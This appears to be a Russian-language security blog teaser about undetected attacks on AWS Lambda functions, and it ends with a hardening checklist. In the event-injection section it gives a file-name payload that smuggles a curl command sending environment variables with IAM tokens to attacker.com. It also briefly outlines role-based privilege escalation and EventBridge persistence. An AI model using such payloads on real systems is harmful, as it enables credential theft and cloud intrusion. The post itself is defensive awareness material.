Добавить в корзинуПозвонить
Найти в Дзене
The Codeby

47 Lambda-функций и ни одного алерта: почему SOC не видит serverless-атаки

Представьте: утёкший access key на GitHub, понедельник утро, и через полтора часа пентестер уже читает production-таблицу с платёжными данными 200 тысяч клиентов. CloudTrail работает, но ни одного алерта на serverless-специфичные TTPs. Функция отработала за миллисекунды и исчезла вместе с контейнером. Расследовать нечего. Это реальная ситуация с cloud-пентеста в начале 2025 года. И она хорошо показывает главную проблему serverless-безопасности — классические средства мониторинга просто не заточены под эфемерные вычисления. 🔥 Три вектора, которые стоит знать • Event injection — отравление триггеров. Lambda обрабатывает файл из S3 и подставляет имя объекта в os.system(). Атакующий загружает файл с именем вроде ; curl attacker.com/exfil?d=$(env)#.csv — и переменные окружения с IAM-токенами утекают за одно исполнение. Одно. Миллисекунды. Причём WAF тут не спасёт: он защищает HTTP-уровень через API Gateway, но event injection через SQS или SNS идёт в обход — payload лезет через окно, по

47 Lambda-функций и ни одного алерта: почему SOC не видит serverless-атаки

Представьте: утёкший access key на GitHub, понедельник утро, и через полтора часа пентестер уже читает production-таблицу с платёжными данными 200 тысяч клиентов. CloudTrail работает, но ни одного алерта на serverless-специфичные TTPs. Функция отработала за миллисекунды и исчезла вместе с контейнером. Расследовать нечего.

Это реальная ситуация с cloud-пентеста в начале 2025 года. И она хорошо показывает главную проблему serverless-безопасности — классические средства мониторинга просто не заточены под эфемерные вычисления.

🔥 Три вектора, которые стоит знать

• Event injection — отравление триггеров. Lambda обрабатывает файл из S3 и подставляет имя объекта в os.system(). Атакующий загружает файл с именем вроде ; curl attacker.com/exfil?d=$(env)#.csv — и переменные окружения с IAM-токенами утекают за одно исполнение. Одно. Миллисекунды. Причём WAF тут не спасёт: он защищает HTTP-уровень через API Gateway, но event injection через SQS или SNS идёт в обход — payload лезет через окно, пока WAF сторожит дверь.

• Privilege escalation через IAM-роли. Если у атакующего есть iam:PassRole и lambda:UpdateFunctionCode, он может подменить код существующей функции и привязать к ней роль с широкими правами. На пентесте 12 из 47 функций имели execution role с Action: "*" на S3 и DynamoDB. Это не edge-case, а типичная картина — разработчики назначают максимальные права «чтобы работало» и забывают ужать.

• Persistence через триггеры. Атакующий создаёт EventBridge-правило, которое вызывает вредоносную функцию при каждом создании IAM-пользователя или загрузке файла. Lambda как эфемерный C2-сервер: получает команды, передаёт на скомпрометированные хосты, завершается. Следов в файловой системе нет, потому что файловой системы нет.

📊 По данным Cloud Security Alliance, более 70% организаций до сих пор не имеют выделенных контролей для serverless-окружений. При этом рынок serverless-безопасности уже перевалил за 12 млрд долларов — деньги вкладываются, но зрелость detection отстаёт на годы.

🛡 Что проверить прямо сейчас:

1. Есть ли в ваших Lambda-функциях вызовы os.system() или subprocess с пользовательским вводом?

2. Execution roles — минимальные привилегии или wildcard?

3. Настроены ли алерты на UpdateFunctionCode и iam:PassRole в CloudTrail?

В полной статье — разбор конкретных цепочек атак с примерами кода, detection-правилами для SIEM и чек-листом для харденинга.

https://codeby.net/threads/ataki-na-serverless-funktsii-injection-event-poisoning-i-privilege-escalation.93670/